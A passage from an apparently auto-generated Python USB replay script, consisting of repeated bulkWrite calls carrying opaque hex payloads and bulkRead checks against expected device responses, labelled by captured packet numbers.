b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x97\\xB2\\xE4\\xBE\\x49\\x0E\\xDE\\x29\"\n b\"\\x0E\\xE7\\xA2\\x58\\xF8\\xD9\\x6F\\x17\\x69\\x81\\xF3\\x04\\x18\\x39\\xDF\\x0E\"\n b\"\\x21\\xEE\\x98\\x7C\\x59\\x12\\x13\\x42\\x78\\xAE\\xFD\\xC8\\xFA\\x58\\x72\\xA1\"\n b\"\\x4F\\x98\\x9C\\x8D\\x3E\\xD4\\x58\\x3E\\x26\\xE9\\x0C\\x2A\\xAE\\x48\\xE6\\x59\"\n b\"\\xFE\\x7C\\xD7\\xF3\\x07\\x0F\\xF9\\x0E\\xFE\\x25\\xC3\\x19\\x71\\x1A\\xD3\\x56\"\n b\"\\x86\\x35\\xDC\\xEB\\x9D\\xED\\x6A\\x38\\xF3\\x12\\x23\\x71\\x77\\x05\\xAC\\x70\"\n b\"\\x4D\\x42\\x0A\\x70\\xDB\\x9F\\xF2\\x94\\x2F\\xA2\\x2D\\x3E\\xEA\\x76\\x24\\x86\"\n b\"\\xF3\\x2B\\x7E\\x55\\x65\\x84\\x3B\\xA8\\xDE\\x57\\x28\\x3F\\xCA\\xED\\x22\\x03\"\n b\"\\x9C\\xB3\\x9A\\x63\\xA9\\x90\\x03\\x29\\x69\\x7E\\x99\\xAD\\xA5\\x13\\x8C\\x3A\"\n b\"\\x89\\xE5\\xA4\\x13\\xA1\\x17\\x87\\x3B\\x0B\\xE6\\x72\\x61\\xAC\\x35\\x60\\xA8\"\n b\"\\xA2\\x3B\\x5C\\xA6\\xE8\\xC6\\xB7\\xA7\\xAB\\xD1\\xAF\\x25\\xD9\\x5F\\x1E\\xA0\"\n b\"\\x71\\xC2\\xBA\\x17\\xBA\\xC9\\xB4\\x83\\xB4\\x63\\xE0\\x6D\\x4B\\x39\\xA8\\xE0\"\n b\"\\x16\\xF7\\xAA\\xDB\\x69\\x81\\xC5\\xB3\\x00\\x78\\xDE\\x4A\\x47\\x6E\\xF1\\xD1\"\n b\"\\xC3\\x59\\x93\\x9A\\x76\\x30\\x8F\\x5D\\xF7\\x37\\xFA\\x01\\xB6\\x62\\xE3\\x93\"\n b\"\\x86\\x9E\\x88\\x6C\\x9F\\x2B\\x6A\\xD8\\xCE\\x78\\x3E\\xAA\\x72\\xC8\\x49\\x0D\"\n b\"\\xC6\\x97\\x4A\\x9F\\x0F\\x68\\x8D\\x0C\\xC0\\x76\\x4F\\xC1\\x1D\\x20\\x43\\x30\"\n b\"\\x8C\\x5C\\x01\\x0A\\x37\\xF7\\xEA\\xCA\\xE3\\x34\\xCC\\x1C\")\n # Generated from packet 3587/3588\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3587/3588\")\n # Generated from packet 3589/3590\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9C\\x54\\xF0\\x3C\\x8C\\x34\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA1\\x94\\xB5\\x13\\xB4\\xFB\\xEA\\xF3\"\n b\"\\x6D\\xCB\\x1B\\x9D\\xC3\\x4D\\x4C\\x68\\x97\\xF6\\x44\\x8A\\xC0\\x68\\xDD\\x45\"\n b\"\\x7F\\xA9\\x34\\x57\\xEB\\x2E\\x38\\x8B\\x23\\x79\\x15\\xBD\\x19\\x9A\\x92\\xEE\"\n b\"\\x9F\\x44\\x27\\xB6\\x96\\x15\\x41\\xA0\\x8F\\x6B\\xE6\\x29\\xAC\\xCF\\x40\\x6B\"\n b\"\\xF7\\xA7\\x85\\x82\\x3F\\x02\\xBF\\x5C\\xF5\\x58\\x29\\x1B\\x1C\\x24\\x58\\xED\"\n b\"\\x22\\xE9\\x17\\x7C\\x7A\\x75\\x04\\x0D\\xC2\\x59\\x0E\\x34\\x15\\x1E\\x7C\\x4C\"\n b\"\\xE9\\x95\\x42\\x6D\\x55\\x7B\\xC8\\xEF\\xA3\\xF4\\xA1\\x5A\\x63\\x1A\\x8D\\x2B\"\n b\"\\x2F\\xDE\\x3E\\x33\\x12\\x8A\\x2A\\xBB\\xB3\\x60\\x59\\xEB\\x87\\x51\\xF3\\x12\"\n b\"\\xF4\\x7F\\x0E\\xEB\\xDE\\x45\\x19\\x64\\xE1\\x55\\x56\\x93\\xCE\\x5A\\xEB\\x88\"\n b\"\\x16\\xEC\\x38\\xE6\\xE9\\xA5\\x71\\x62\\xFE\\x2A\\x70\\x58\\xB9\\x8C\\x70\\xCE\"\n b\"\\x64\\x74\\x94\\x3A\\x59\\xAB\\x3E\\xFF\\x8D\\xA2\\x86\\xE6\\xD0\\xF8\\x55\\x70\"\n b\"\\x7F\\xBD\\xA8\\xCB\\xAC\\xAE\\x3F\\xDF\\x16\\xA4\\x03\\x89\\x48\\x1C\\x63\\xBC\"\n b\"\\x6B\\x85\\x29\\x7C\\x85\\x1F\\xAD\\xB0\\xE8\\x0A\\x3A\\x9C\\x1E\\x22\\x13\\xB4\"\n b\"\\xEC\\x01\\x3B\\x1E\\x1D\\xF4\\x61\\xB9\\xCE\\xE6\\xA8\\xB7\\xC0\\xDA\\xA6\\xFD\"\n b\"\\x3D\\x31\\xA7\\xBE\\x2A\\x29\\x25\\xCC\\xA4\\x98\\xA0\\x64\\x39\\x3C\\x17\\xAF\"\n b\"\\x32\\x32\\x83\\xA1\\x98\\x66\\x6D\\x5E\\xC2\\x2E\\xE0\\x03\\x0C\\x2C\\xDB\\x7C\"\n b\"\\x7A\\x43\\xB3\\x15\\x83\\x58\\x4A\\x52\\x95\\x77\\xD1\\xD6\")\n # Generated from packet 3591/3592\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3591/3592\")\n # Generated from packet 3593/3594\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x52\\x04\\xFE\\x28\\xB8\\x36\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x56\\xD0\\x7E\\xEC\\xF1\\xEF\\x3D\\x49\"\n b\"\\x57\\xAD\\x66\\x21\\x92\\x44\\xAE\\x84\\xA8\\x9A\\x64\\xDE\\x3E\\xDD\\x8D\\xA2\"\n b\"\\x4F\\x2B\\xB3\\x6F\\x00\\xBA\\xEB\\xF3\\x13\\xCB\\x53\\xDF\\x19\\xF2\\x84\\x98\"\n b\"\\x6B\\x8A\\x78\\x13\\x55\\xAB\\xC4\\xFD\\xDF\\x29\\x32\\x72\\xB6\\x9C\\xF2\\x9C\"\n b\"\\x9A\\xED\\xBE\\x58\\x29\\xF5\\x83\\x0C\\x3D\\x7D\\x22\\xE6\\x4E\\x2D\\x16\\xD7\"\n b\"\\xE4\\xD4\\x65\\xF9\\x19\\x2D\\x4F\\xC3\\x0E\\xA2\\x70\\xD3\\x41\\x55\\x5F\\xDC\"\n b\"\\xFC\\x4E\\x87\\x6A\\x2F\\x20\\x78\\x23\\x66\\xA4\\x6F\\xAC\\x67\\x9E\\x28\\x0A\"\n b\"\\x67\\x08\\xF5\\xF2\\x83\\xFC\\xC8\\x2D\\x29\\x39\\x1C\\x24\\x91\\x20\\x41\\x7E\"\n b\"\\x42\\xB6\\xEE\\x3B\\xBF\\x0D\\x3D\\x28\\x28\\x19\\x87\\x22\\x14\\x4F\\xD9\\x9A\"\n b\"\\x74\\x7A\\xFA\\x03\\x3E\\xBA\\x14\\x99\\xBA\\x76\\x79\\x8C\\x2D\\x5A\\x8F\\xA4\"\n b\"\\x04\\x72\\x7D\\x87\\x2C\\xD8\\x8C\\x72\\x76\\x7F\\x5F\\x60\\xBF\\x71\\x51\\x5C\"\n b\"\\xB1\\x3B\\xAC\\xB7\\xB0\\x78\\xBB\\xAF\\x32\\x0A\\x35\\x1E\\xB7\\xA2\\xA8\\xBA\"\n b\"\\x00\\x69\\xA3\\xB4\\x94\\x67\\x09\\xE0\\x7A\\x98\\x53\\xA8\\xF7\\xC5\\x9D\\xAA\"\n b\"\\xCC\\xBA\\xEB\\xC5\\xA4\\xD3\\x12\\xDE\\x5D\\x94\\x04\\xF1\\xC6\\x10\\x33\\x93\"\n b\"\\x8D\\xA5\\x5A\\x8F\\x4A\\x24\\x5D\\xFA\\x16\\x65\\x08\\xE3\\x84\\x55\\xF4\\x88\"\n b\"\\x7B\\x4C\\x41\\x6A\\xCF\\x1D\\x12\\x3E\\xBD\\xA1\\xA2\\x49\\x1A\\x15\\xFD\\x4A\"\n b\"\\x88\\xDC\\x02\\x8D\\x1B\\x13\\x1C\\x4F\\xD6\\xCE\\x4A\\x43\")\n # Generated from packet 3595/3596\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3595/3596\")\n # Generated from packet 3597/3598\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x00\\xF5\\xEC\\x14\\x5E\\x1C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD3\\x34\\x46\\x07\\x81\\x96\\xCE\\x1C\"\n b\"\\xF4\\xF4\\x51\\x14\\x3D\\xCA\\x5E\\x3B\\x2D\\xEA\\x56\\xD1\\xF6\\x20\\x82\\xF5\"\n b\"\\xBD\\xF9\\x99\\x34\\x6C\\x4B\\x74\\x5E\\xC6\\x55\\xD4\\x94\\xD4\\x81\\x78\\x83\"\n b\"\\x08\\x6C\\x0D\\xC3\\x5C\\x49\\xF7\\xD1\\x0D\\xD6\\xD2\\xA5\\xBC\\xBD\\x76\\x2E\"\n b\"\\x65\\xE3\\x5A\\x56\\x50\\x54\\x19\\xEF\\x59\\xFC\\x5D\\x03\\xBF\\x04\\x30\\x84\"\n b\"\\x1E\\x91\\x25\\x7D\\x21\\x70\\xFC\\x4D\\xD0\\x1E\\x52\\xCB\\x87\\xEB\\x06\\x70\"\n b\"\\x8F\\x09\\x51\\xEE\\x16\\xC6\\xEE\\x2F\\xFF\\xD4\\x7A\\xA8\\xF3\\x08\\xB2\\xFF\"\n b\"\\xDE\\x3E\\x88\\x1C\\x59\\x6D\\x0E\\xC2\\xEC\\x35\\x07\\x93\\x8A\\x23\\x1E\\xED\"\n b\"\\x2D\\xAA\\x3D\\x49\\x8B\\xE8\\x66\\x21\\x4E\\x01\\xAE\\x84\\x74\\xDF\\x64\\xDE\"\n b\"\\xE2\\x98\\x8D\\xA2\\x93\\x6E\\xB3\\x6F\\xDC\\xFF\\xEB\\xF3\\xCF\\x8E\\x53\\xDF\"\n b\"\\xC5\\xB7\\x84\\x98\\xB7\\xCF\\x78\\x13\\x89\\xEE\\xC4\\xFD\\x03\\x6C\\x32\\x72\"\n b\"\\x6A\\xD9\\xF2\\x9C\\x46\\xA8\\xBE\\x58\\xF5\\xB0\\x83\\x0C\\xE1\\x38\\x22\\xE6\"\n b\"\\x92\\x68\\x16\\xD7\\x38\\x91\\x65\\xF9\\xC5\\x68\\x4F\\xC3\\xD2\\xE7\\x70\\xD3\"\n b\"\\x9D\\x10\\x5F\\xDC\\x20\\x0B\\x87\\x6A\\xF3\\x65\\x78\\x23\\xBA\\xE1\\x6F\\xAC\"\n b\"\\xBB\\xDB\\x28\\x0A\\xBB\\x4D\\xF5\\xF2\\x5F\\xB9\\xC8\\x2D\\xF5\\x7C\\x1C\\x24\"\n b\"\\x4D\\x65\\x41\\x7E\\x9E\\xF3\\xEE\\x3B\\x63\\x48\\x3D\\x28\\xF4\\x5C\\x87\\x22\"\n b\"\\xC8\\x0A\\xD9\\x9A\\xA8\\x3F\\xFA\\x03\\xE2\\xFF\\x14\\x99\")\n # Generated from packet 3599/3600\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3599/3600\")\n # Generated from packet 3601/3602\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCE\\xA5\\xE2\\x00\\xD9\\x56\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE6\\xFB\\x36\\x18\\xA3\\xA8\\x3E\\xAA\"\n b\"\\x9E\\xF5\\xFF\\x19\\xBC\\xDE\\xB4\\x74\\xC8\\xF1\\x3C\\x68\\x11\\x36\\x6D\\x4F\"\n b\"\\x46\\x78\\x10\\xFD\\xC5\\x28\\xEC\\xA9\\x96\\x29\\x27\\x27\\xB9\\xE2\\x4F\\xEC\"\n b\"\\xDE\\xCE\\x77\\xEF\\x30\\x14\\x88\\xB0\\x59\\x54\\x94\\xB0\\x0B\\x41\\xFA\\x6F\"\n b\"\\xB6\\xBD\\x5C\\xDF\\x35\\x1B\\x49\\xDF\\xF9\\x2F\\xBE\\xD3\\xAB\\xB2\\x85\\xB8\"\n b\"\\x7D\\x92\\x3D\\x18\\x5A\\xEC\\x06\\x4A\\x2E\\x04\\x1C\\x3F\\x4C\\x9B\\x14\\xF6\"\n b\"\\x72\\x94\\x3B\\xE6\\x52\\x9C\\xD1\\x3D\\x98\\x48\\xF5\\x76\\x41\\x53\\x34\\xA7\"\n b\"\\xF3\\xBE\\x5E\\x0D\\xED\\x1E\\x94\\x1F\\x39\\xB2\\x83\\xC3\\xD4\\xC7\\xC3\\x97\"\n b\"\\xF1\\x3D\\xD1\\xC6\\x6E\\x18\\xA5\\x77\\x05\\xBC\\x2E\\xAE\\x5B\\x90\\x56\\x9B\"\n b\"\\xEC\\xD3\\xEF\\x92\\x44\\x97\\x03\\x74\\xBC\\xFA\\x84\\xD5\\x29\\xEF\\x7D\\xEA\"\n b\"\\xC8\\x36\\x4D\\x1B\\xA6\\x98\\xCB\\x4C\\x53\\xCC\\x70\\x44\\xB1\\x9B\\xEE\\xDD\"\n b\"\\x7E\\x24\\x2F\\x34\\x6C\\xB0\\xA8\\x38\\xB0\\x78\\xFF\\x15\\x86\\x42\\x1C\\x92\"\n b\"\\xD5\\xC4\\xC2\\x27\\x8D\\xCD\\x93\\x41\\x9B\\xD4\\xED\\xE6\\x12\\xF7\\x49\\x40\"\n b\"\\x50\\xAC\\x21\\x85\\xB9\\x64\\x84\\xBF\\x67\\xAE\\xDE\\x29\\x20\\x47\\xA2\\x58\"\n b\"\\xD6\\x79\\x6F\\x17\\x47\\x21\\xF3\\x04\\x36\\x99\\xDF\\x0E\\x0F\\x4E\\x98\\x7C\"\n b\"\\x77\\xB2\\x13\\x42\\x56\\x0E\\xFD\\xC8\\xD4\\xF8\\x72\\xA1\\x61\\x38\\x9C\\x8D\"\n b\"\\x10\\x74\\x58\\x3E\\x08\\x49\\x0C\\x2A\\x80\\xE8\\xE6\\x59\")\n # Generated from packet 3603/3604\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3603/3604\")\n # Generated from packet 3605/3606\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD4\\x91\\xBB\\xCC\\x4E\\x15\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF9\\x3E\\x9A\\x6E\\x44\\xD5\\x5C\\xDF\"\n b\"\\xC7\\x73\\x49\\xDF\\x0B\\x47\\xBE\\xD3\\x59\\xDA\\x85\\xB8\\x8F\\xFA\\x3D\\x18\"\n b\"\\xA8\\x84\\x06\\x4A\\xDC\\x6C\\x1C\\x3F\\xBE\\xF3\\x14\\xF6\\x80\\xFC\\x3B\\xE6\"\n b\"\\xA0\\xF4\\xD1\\x3D\\x6A\\x20\\xF5\\x76\\xB3\\x3B\\x34\\xA7\\x01\\xD6\\x5E\\x0D\"\n b\"\\x1F\\x76\\x94\\x1F\\xCB\\xDA\\x83\\xC3\\x26\\xAF\\xC3\\x97\\x03\\x55\\xD1\\xC6\"\n b\"\\x9C\\x70\\xA5\\x77\\xF7\\xD4\\x2E\\xAE\\xA9\\xF8\\x56\\x9B\\x1E\\xBB\\xEF\\x92\"\n b\"\\xB6\\xFF\\x03\\x74\\x4E\\x92\\x84\\xD5\\xDB\\x87\\x7D\\xEA\\x3A\\x5E\\x4D\\x1B\"\n b\"\\x54\\xF0\\xCB\\x4C\\xA1\\xA4\\x70\\x44\\x43\\xF3\\xEE\\xDD\\x8C\\x4C\\x2F\\x34\"\n b\"\\x9E\\xD8\\xA8\\x38\\x42\\x10\\xFF\\x15\\x74\\x2A\\x1C\\x92\\x27\\xAC\\xC2\\x27\"\n b\"\\x7F\\xA5\\x93\\x41\\x69\\xBC\\xED\\xE6\\xE0\\x9F\\x49\\x40\\xA2\\xC4\\x21\\x85\"\n b\"\\x4B\\x0C\\x84\\xBF\\x95\\xC6\\xDE\\x29\\xD2\\x2F\\xA2\\x58\\x24\\x11\\x6F\\x17\"\n b\"\\xB5\\x49\\xF3\\x04\\xC4\\xF1\\xDF\\x0E\\xFD\\x26\\x98\\x7C\\x85\\xDA\\x13\\x42\"\n b\"\\xA4\\x66\\xFD\\xC8\\x26\\x90\\x72\\xA1\\x93\\x50\\x9C\\x8D\\xE2\\x1C\\x58\\x3E\"\n b\"\\xFA\\x21\\x0C\\x2A\\x72\\x80\\xE6\\x59\\x22\\xB4\\xD7\\xF3\\xDB\\xC7\\xF9\\x0E\"\n b\"\\x22\\xED\\xC3\\x19\\xAD\\xD2\\xD3\\x56\\x5A\\xFD\\xDC\\xEB\\x41\\x25\\x6A\\x38\"\n b\"\\x2F\\xDA\\x23\\x71\\xAB\\xCD\\xAC\\x70\\x91\\x8A\\x0A\\x70\\x07\\x57\\xF2\\x94\"\n b\"\\xF3\\x6A\\x2D\\x3E\\x36\\xBE\\x24\\x86\\x2F\\xE3\\x7E\\x55\")\n # Generated from packet 3607/3608\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3607/3608\")\n # Generated from packet 3609/3610\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1A\\xC1\\xB5\\xD8\\xAF\\x3F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB4\\x70\\x7E\\xEC\\x13\\xCE\\x3D\\x49\"\n b\"\\xB5\\x8C\\x66\\x21\\x70\\x65\\xAE\\x84\\x4A\\xBB\\x64\\xDE\\xDC\\xFC\\x8D\\xA2\"\n b\"\\xAD\\x0A\\xB3\\x6F\\xE2\\x9B\\xEB\\xF3\\xF1\\xEA\\x53\\xDF\\xFB\\xD3\\x84\\x98\"\n b\"\\x89\\xAB\\x78\\x13\\xB7\\x8A\\xC4\\xFD\\x3D\\x08\\x32\\x72\\x54\\xBD\\xF2\\x9C\"\n b\"\\x78\\xCC\\xBE\\x58\\xCB\\xD4\\x83\\x0C\\xDF\\x5C\\x22\\xE6\\xAC\\x0C\\x16\\xD7\"\n b\"\\x06\\xF5\\x65\\xF9\\xFB\\x0C\\x4F\\xC3\\xEC\\x83\\x70\\xD3\\xA3\\x74\\x5F\\xDC\"\n b\"\\x1E\\x6F\\x87\\x6A\\xCD\\x01\\x78\\x23\\x84\\x85\\x6F\\xAC\\x85\\xBF\\x28\\x0A\"\n b\"\\x85\\x29\\xF5\\xF2\\x61\\xDD\\xC8\\x2D\\xCB\\x18\\x1C\\x24\\x73\\x01\\x41\\x7E\"\n b\"\\xA0\\x97\\xEE\\x3B\\x5D\\x2C\\x3D\\x28\\xCA\\x38\\x87\\x22\\xF6\\x6E\\xD9\\x9A\"\n b\"\\x96\\x5B\\xFA\\x03\\xDC\\x9B\\x14\\x99\\x58\\x57\\x79\\x8C\\xCF\\x7B\\x8F\\xA4\"\n b\"\\xE6\\x53\\x7D\\x87\\xCE\\xF9\\x8C\\x72\\x94\\x5E\\x5F\\x60\\x5D\\x50\\x51\\x5C\"\n b\"\\x53\\x1A\\xAC\\xB7\\x52\\x59\\xBB\\xAF\\xD0\\x2B\\x35\\x1E\\x55\\x83\\xA8\\xBA\"\n b\"\\xE2\\x48\\xA3\\xB4\\x76\\x46\\x09\\xE0\\x98\\xB9\\x53\\xA8\\x15\\xE4\\x9D\\xAA\"\n b\"\\x2E\\x9B\\xEB\\xC5\\x46\\xF2\\x12\\xDE\\xBF\\xB5\\x04\\xF1\\x24\\x31\\x33\\x93\"\n b\"\\x6F\\x84\\x5A\\x8F\\xA8\\x05\\x5D\\xFA\\xF4\\x44\\x08\\xE3\\x66\\x74\\xF4\\x88\"\n b\"\\x99\\x6D\\x41\\x6A\\x2D\\x3C\\x12\\x3E\\x5F\\x80\\xA2\\x49\\xF8\\x34\\xFD\\x4A\"\n b\"\\x6A\\xFD\\x02\\x8D\\xF9\\x32\\x1C\\x4F\\x34\\xEF\\x4A\\x43\")\n # Generated from packet 3611/3612\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3611/3612\")\n # Generated from packet 3613/3614\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x48\\x30\\xA7\\xE4\\xFA\\x40\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x46\\xD8\\x74\\xB5\\x2B\\xFB\\x3B\\x3C\"\n b\"\\x37\\x22\\xFC\\x6D\\x10\\x75\\xB2\\x10\\xA2\\xF6\\xE2\\xEC\\xF6\\xA5\\xE3\\x27\"\n b\"\\x78\\x8A\\x28\\x4F\\xB3\\xED\\x04\\x77\\xB0\\x03\\xDE\\x88\\xEF\\x6A\\x9E\\x94\"\n b\"\\xEF\\x38\\x8B\\xFA\\x30\\x85\\x77\\x5C\\x80\\x06\\xD1\\x49\\x80\\xCA\\xE5\\xBE\"\n b\"\\x8C\\x98\\x78\\x85\\xE7\\x4E\\x58\\x3D\\x47\\x69\\x26\\x06\\x15\\x1D\\xCE\\x1C\"\n b\"\\x60\\x7F\\x51\\x14\\xA9\\x41\\x5E\\x3B\\xB9\\x61\\x56\\xD1\\x62\\xAB\\x82\\xF5\"\n b\"\\x29\\x72\\x99\\x34\\xF8\\xC0\\x74\\x5E\\x52\\xDE\\xD4\\x94\\x40\\x0A\\x78\\x83\"\n b\"\\x9C\\xE7\\x0D\\xC3\\xC8\\xC2\\xF7\\xD1\\x99\\x5D\\xD2\\xA5\\x28\\x36\\x76\\x2E\"\n b\"\\xF1\\x68\\x5A\\x56\\xC4\\xDF\\x19\\xEF\\xCD\\x77\\x5D\\x03\\x2B\\x8F\\x30\\x84\"\n b\"\\x8A\\x1A\\x25\\x7D\\xB5\\xFB\\xFC\\x4D\\x44\\x95\\x52\\xCB\\x13\\x60\\x06\\x70\"\n b\"\\x1B\\x82\\x51\\xEE\\x82\\x4D\\xEE\\x2F\\x6B\\x5F\\x7A\\xA8\\x67\\x83\\xB2\\xFF\"\n b\"\\x4A\\xB5\\x88\\x1C\\xCD\\xE6\\x0E\\xC2\\x78\\xBE\\x07\\x93\\x1E\\xA8\\x1E\\xED\"\n b\"\\xB9\\x21\\x3D\\x49\\x1F\\x63\\x66\\x21\\xDA\\x8A\\xAE\\x84\\xE0\\x54\\x64\\xDE\"\n b\"\\x76\\x13\\x8D\\xA2\\x07\\xE5\\xB3\\x6F\\x48\\x74\\xEB\\xF3\\x5B\\x05\\x53\\xDF\"\n b\"\\x51\\x3C\\x84\\x98\\x23\\x44\\x78\\x13\\x1D\\x65\\xC4\\xFD\\x97\\xE7\\x32\\x72\"\n b\"\\xFE\\x52\\xF2\\x9C\\xD2\\x23\\xBE\\x58\\x61\\x3B\\x83\\x0C\\x75\\xB3\\x22\\xE6\"\n b\"\\x06\\xE3\\x16\\xD7\\xAC\\x1A\\x65\\xF9\\x51\\xE3\\x4F\\xC3\")\n # Generated from packet 3615/3616\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3615/3616\")\n # Generated from packet 3617/3618\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x86\\x60\\xA9\\xF0\\xBF\\x66\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9F\\x96\\xE6\\x86\\xCE\\xB9\\xFF\\xEE\"\n b\"\\x72\\x81\\xDD\\xC7\\xA1\\xD5\\x98\\x62\\xC9\\x66\\xA5\\x3F\\x08\\xD5\\x87\\x14\"\n b\"\\x43\\xB8\\xF3\\x3B\\xCB\\xA4\\x2A\\xFC\\x9A\\x83\\x7D\\xB2\\xE7\\x31\\xFE\\xE2\"\n b\"\\x1B\\x65\\xAD\\xE3\\xD0\\xEB\\x82\\x28\\xB8\\x20\\xE5\\x04\\x80\\x23\\x0B\\xDE\"\n b\"\\x7F\\x7C\\x62\\x9E\\x63\\x7C\\x30\\x8B\\x0D\\xA3\\x8D\\x77\\xAB\\x13\\x0E\\xD1\"\n b\"\\xBE\\x13\\xC2\\xE5\\x49\\x1F\\x90\\x78\\x72\\x74\\x46\\x58\\xCA\\xD4\\x61\\x26\"\n b\"\\xF1\\x86\\x15\\xCE\\xEB\\xF3\\x77\\x51\\xE3\\x3A\\x49\\x5E\\xCC\\x2A\\x69\\x56\"\n b\"\\x26\\xF1\\xA3\\x82\\x02\\xBA\\x7A\\x99\\xC3\\x6B\\xC8\\x74\\xA9\\xC1\\xD6\\xD4\"\n b\"\\x63\\xD3\\x02\\x78\\x74\\x0F\\xEF\\x0D\\x34\\x5B\\xCA\\xF7\\x26\\x0A\\x55\\xD2\"\n b\"\\x52\\xBB\\x3E\\x76\\xD9\\x62\\x60\\x5A\\xA1\\x57\\xD7\\x19\\x18\\x5E\\x7F\\x5D\"\n b\"\\xF4\\xB8\\x87\\x30\\x73\\x19\\x12\\x25\\x8A\\x26\\xF3\\xFC\\xBA\\xD7\\x9D\\x52\"\n b\"\\x3C\\x80\\x68\\x06\\x87\\x88\\x8A\\x51\\x19\\x11\\x45\\xEE\\xD8\\xF8\\x57\\x7A\"\n b\"\\x5F\\xF4\\x8B\\xB2\\x08\\xD9\\xBD\\x88\\xEB\\x5E\\xEE\\x0E\\x35\\xEB\\xB6\\x07\"\n b\"\\x64\\x8D\\xA0\\x1E\\x1A\\x2A\\x29\\x3D\\xBE\\x8C\\x6B\\x66\\xD6\\x49\\x82\\xAE\"\n b\"\\x73\\x73\\x5C\\x64\\x29\\xE5\\x1B\\x8D\\x55\\x94\\xED\\xB3\\x98\\xDB\\x7C\\xEB\"\n b\"\\x04\\xC8\\x0D\\x53\\x28\\xC2\\x34\\x84\\x6F\\xB0\\x4C\\x78\\xE4\\x8E\\x6D\\xC4\"\n b\"\\x0A\\x04\\xEF\\x32\\x85\\x6D\\x5A\\xF2\\x6B\\x41\\x2B\\xBE\")\n # Generated from packet 3619/3620\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3619/3620\")\n # Generated from packet 3621/3622\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEC\\xD2\\x82\\x9C\\xB0\\x37\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF8\\x7F\\xA2\\x26\\xA0\\xE1\\x93\\x41\"\n b\"\\xB6\\xF8\\xED\\xE6\\x3F\\xDB\\x49\\x40\\x7D\\x80\\x21\\x85\\x94\\x48\\x84\\xBF\"\n b\"\\x4A\\x82\\xDE\\x29\\x0D\\x6B\\xA2\\x58\\xFB\\x55\\x6F\\x17\\x6A\\x0D\\xF3\\x04\"\n b\"\\x1B\\xB5\\xDF\\x0E\\x22\\x62\\x98\\x7C\\x5A\\x9E\\x13\\x42\\x7B\\x22\\xFD\\xC8\"\n b\"\\xF9\\xD4\\x72\\xA1\\x4C\\x14\\x9C\\x8D\\x3D\\x58\\x58\\x3E\\x25\\x65\\x0C\\x2A\"\n b\"\\xAD\\xC4\\xE6\\x59\\xFD\\xF0\\xD7\\xF3\\x04\\x83\\xF9\\x0E\\xFD\\xA9\\xC3\\x19\"\n b\"\\x72\\x96\\xD3\\x56\\x85\\xB9\\xDC\\xEB\\x9E\\x61\\x6A\\x38\\xF0\\x9E\\x23\\x71\"\n b\"\\x74\\x89\\xAC\\x70\\x4E\\xCE\\x0A\\x70\\xD8\\x13\\xF2\\x94\\x2C\\x2E\\x2D\\x3E\"\n b\"\\xE9\\xFA\\x24\\x86\\xF0\\xA7\\x7E\\x55\\x66\\x08\\x3B\\xA8\\xDD\\xDB\\x28\\x3F\"\n b\"\\xC9\\x61\\x22\\x03\\x9F\\x3F\\x9A\\x63\\xAA\\x1C\\x03\\x29\\x6A\\xF2\\x99\\xAD\"\n b\"\\xA6\\x9F\\x8C\\x3A\\x8A\\x69\\xA4\\x13\\xA2\\x9B\\x87\\x3B\\x08\\x6A\\x72\\x61\"\n b\"\\xAF\\xB9\\x60\\xA8\\xA1\\xB7\\x5C\\xA6\\xEB\\x4A\\xB7\\xA7\\xA8\\x5D\\xAF\\x25\"\n b\"\\xDA\\xD3\\x1E\\xA0\\x72\\x4E\\xBA\\x17\\xB9\\x45\\xB4\\x83\\xB7\\xEF\\xE0\\x6D\"\n 